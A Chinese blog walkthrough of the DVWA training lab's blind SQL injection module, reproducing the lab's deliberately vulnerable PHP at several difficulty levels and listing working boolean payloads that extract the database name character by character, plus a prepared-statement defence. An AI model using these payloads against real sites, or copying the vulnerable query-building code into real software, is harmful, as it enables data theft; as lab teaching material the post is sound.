DVWA靶场实战(八)——SQL Injection(Blind)
DVWA靶场实战(八)
八、SQL Injection(Blind):
1.漏洞原理:
SQL Injection(Blind)全称为SQL注入之盲注,其实与正常的SQL大同小异,区别在于一般的注入攻击者可以直接从页面上获取执行结果,而盲注时攻击者通常是无法从显示页面上获取执行的结果,甚至可能连注入的语句是否执行都无从得知,所以盲注的难度会比一般注入高一些。目前网络上现存的SQL注入漏洞大多是SQL盲注。
2.漏洞分类:
(1)布尔盲注:顾名思义就是基于布尔运算特性的盲注,布尔盲注语句需要在涉及判断的功能才能使用,其中最常见的就是在查询条件的位置,分别拼接上一段结果为真和结果为假的判断语句,如果结果为真时显示效果与原来一致,结果为假时查询不到数据或与原来数据不一直,则认为存在布尔盲注。
(2)时间盲注:同样也就是基于时间运算特性的盲注,时间盲注主要是对没有涉及判断的功能,如插入、更新等语句的数据为止(而非条件语句的位置),或者布尔盲注没有结果的类型(如显示均为正常或均为异常),可以尝试使用延迟注入进行测试,如果插入时间型盲注语句后服务器延迟响应,则可以认为存在SQL注入漏洞。
3.漏洞危害:
(1)绕过登录验证:在登录页面使用万能密码登录网站后台页面。
(2)获取敏感数据:通过SQL注入获取网站管理员账号密码、用户信息等。
(3)文件系统操作:利用SQL注入实现列目录,读取或者写入文件等。
(4)注册表执行操作:利用SQL注入读取、写入、删除注册表等。
(5)执行系统命令:通过SQL注入可以远程执行命令。
4.实操:
(1)Low:
代码分析:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0);
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
我们这里可以看到基本上没有任何过滤、检查,明显存在SQL注入漏洞,同时SQL语句查询返回结果只有两种,“exists”或者“missing”两种状态,所以这里是盲注。
这里我们开始攻击,首先要判断出是数字型还是字符型。我们这里输入“1”和“1’”。在尝试后,我们可以看到这里明显是数字型,因为输入“1”它显示的是用户ID在库里面。
然后我们接下来尝试“1’and1=1#”和“2’and1=2#”,发现“1’and1=1#”显示存在,“1’and1=2#”显示不存在,由此判断这里是有注入点的。 
我们开始尝试注入,首先猜数据库的长度,利用“1' and length(database())=10 #”这种类似的语句进行长度的范围猜解。结果如下:
| 输入语句 | 结果 |
|
1'and length(database())>10# |
MISSING |
|
1'and length(database())<10# |
exists |
|
1'and length(database())<5# |
exists |
|
1'and length(database())<4# |
MISSING |
|
1'and length(database())=4# |
exists |
这里的意思就是数据库名称的长度为4,所以我们接下来就可以开始猜测数据库的名称。
接下来我们用ascii码来判断信息,大略的情况如下:
| 字符 | ASCII(十进制) |
| a | 97 |
| A | 65 |
| 0 | 48 |
| _ | 95 |
| z | 122 |
| Z | 90 |
| 9 | 57 |
| @ | 64 |
然后分别输入如下语句;
| 输入语句 | 反馈结果 | 说明 |
|
1'and ascii(substr(database(),1,1))>97# |
Exits |
库名第一个字母ASCII码比a大 |
|
1'and ascii(substr(database(),1,1))<122# |
Exits |
库名第一个字母ASCII码比z小 |
|
1'and ascii(substr(database(),1,1))<104# |
Exits |
库名第一个字母ASCII码比h小 |
|
1'and ascii(substr(database(),1,1))<101# |
Exits |
库名第一个字母ASCII码比f小 |
|
1'and ascii(substr(database(),1,1))>100# |
MISSING |
库名第一个字母ASCII码不比d小 |
|
1'and ascii(substr(database(),1,1))=100# |
Exits |
库名第一个字母是d |
以此类推推算出为库名为“dvwa”,同样的方法我们就可以依次推到得出答案。(答案同上一个SQL注入)
(2)Medium:
代码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
流程和上一个SQL差不多,不过多赘述了,基本上就是Low的步骤然后在BP中截包修改,然后放到repeater中发送。
(3)High:
代码分析:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
?>
可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在SQL查询语句中添加了LIMIT1,希望以此控制只输出一个结果。
虽然添加了LIMIT1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里用上面两种方法任意一种即可进行爆破。这里就不再一一说明步骤了。
(4)Impossible:
代码分析:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
$exists = false;
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$exists = $data->rowCount();
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT COUNT(first_name) AS numrows FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 1) {
$row = $result->fetchArray();
$numrows = $row[ 'numrows' ];
$exists = ($numrows == 1);
}
}
break;
}
}
// Get results
if ($exists) {
// Feedback for end user
$html .= '<pre>User ID exists in the database.</pre>';
} else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
$html .= '<pre>User ID is MISSING from the database.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
作为防御模板,有以下几个需要注意的。impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过。
DVWA靶场实战(八)——SQL Injection(Blind)的更多相关文章
- DVWA靶场实战(七)——SQL Injection
DVWA靶场实战(七) 七.SQL Injection: 1.漏洞原理: SQL Inject中文叫做SQL注入,是发生在web端的安全漏洞,主要是实现非法操作,例如欺骗服务器执行非法查询,他的危害在 ...
- DVWA靶场实战(二)——Command Injection
DVWA靶场实战(二) 二.Command Injection: 1.漏洞介绍: Command Injection,中文叫做命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令 ...
- (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析
一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...
- (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析
一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...
- DVWA之 SQL Injection(Blind)
SQL Injection(Blind) SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法 ...
- SQL Injection (Blind) Low
SQL盲注分析 盲注较普通注入难度会有所增加,根据页面响应不同大概分为以下几种:布尔型盲注:时间盲注:报错注入 普通注入与盲注的对比: 普通注入: ...
- DVWA全级别之SQL Injection(SQL注入)
DVWA全级别之SQL Injection(注入) DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...
- DVWA靶场实战(五)——File Upload
DVWA靶场实战(五) 五.File Upload: 1.漏洞原理: File Upload中文名叫做文件上传,文件上传漏洞是指用户上传了一个可执行脚本文件(php.jsp.xml.cer等文件),而 ...
- DVWA靶场实战(一)——Brute Force
DVWA靶场实战(一) 一.Brute Force: 1.漏洞原理: Brute Force是暴力破解的意思,大致原理就是利用穷举法,穷举出所有可能的密码. 2.攻击方法: Burpsuite中的In ...
- DVWA靶场实战(六)——Insecure CAPTCHA
DVWA靶场实战(六) 六.Insecure CAPTCHA: 1.漏洞原理: Insecure CAPTCHA(不安全的验证码),CAPTCHA全程为Completely Automated Pub ...
随机推荐
- 记一次cannot access its superinterface问题的的排查 → 强如Spring也一样写Bug
开心一刻 昨天在幼儿园,领着儿子在办公室跟他班主任聊他的情况 班主任:皓瑟,你跟我聊天是不是紧张呀 儿子:是的,老师 班主任:不用紧张,我虽然是你的班主任,但我也才22岁,你就把我当成班上的女同学 班 ...
- docker-compose部署下Fastapi中使用sqlalchemy和Alembic
本篇介绍使用Fastapi + sqlalchemy + alembic 来完成后端服务的数据库管理,并且通过docker-compose来部署后端服务和数据库Mysql.包括: 数据库创建,数据库用 ...
- Eval-Expression.NET:动态执行C#脚本,类似Javascript的Eval函数功能
我们都知道在JavaScript中,我们可以通过Eval来执行JavaScript字符串代码. 下面推荐一个.Net版本的Eval的开源项目. 01 项目简介 Eval-Expression.NET是 ...
- Mac上安装mongoDB详细教程
Mac OSX 平台安装 MongoDB MongoDB 提供了 OSX 平台上 64 位的安装包,你可以在官网下载安装包. 下载地址:https://www.mongodb.com/download ...
- 第四章 对称加密算法--DES--AES--IDEA--PBE
10.1.DES 已破解,不再安全,基本没有企业在用了 是对称加密算法的基石,具有学习价值 密钥长度56(JDK).56/64(BC) 10.2.DESede(三重DES) 早于AES出现来替代DES ...
- .NET 数据拷贝方案选择
应用中我们经常使用到数据的复制,在.NET中有多种方式可以实现复制数据或对象.选择哪种方式通.是浅拷贝还是深拷贝,取决于对象的复杂性.数据量以及具体需求场景. 1. MemberwiseClone拷贝 ...
- linux:redis
查询: 链接 redis初了解 是一个 "开源.免费" 的高性能的 key - value 的数据库 安装 yum添加epel源 yum install epel-release ...
- 搭建基于Grafana+JMeter+InfluxDB的性能监控与分析平台(Linux)
搭建基于Grafana+JMeter+InfluxDB的性能监控与分析平台(Linux版) 在软件开发和运维领域,性能监控与分析是确保应用稳定性和用户体验的关键环节.随着应用规模的不断扩大和复杂度的增 ...
- Mac安装Charles抓包工具
一.下载安装 地址1:官网 下载地址: https://www.charlesproxy.com/download/ 激活信息 Registered Name: https://zhile.io Li ...
- 用脚本采用wget方式直接下载谷歌云盘里面的文件实操
今天在工作中遇到了一个挑战,在这里和大家分享一下我的解决过程.突然接到一个紧急需求,需要在服务器上部署一个模型文件,而这个文件存储在谷歌云盘里.摆在面前有两个选择: 方案一:先在本地下载,然后再上传到 ...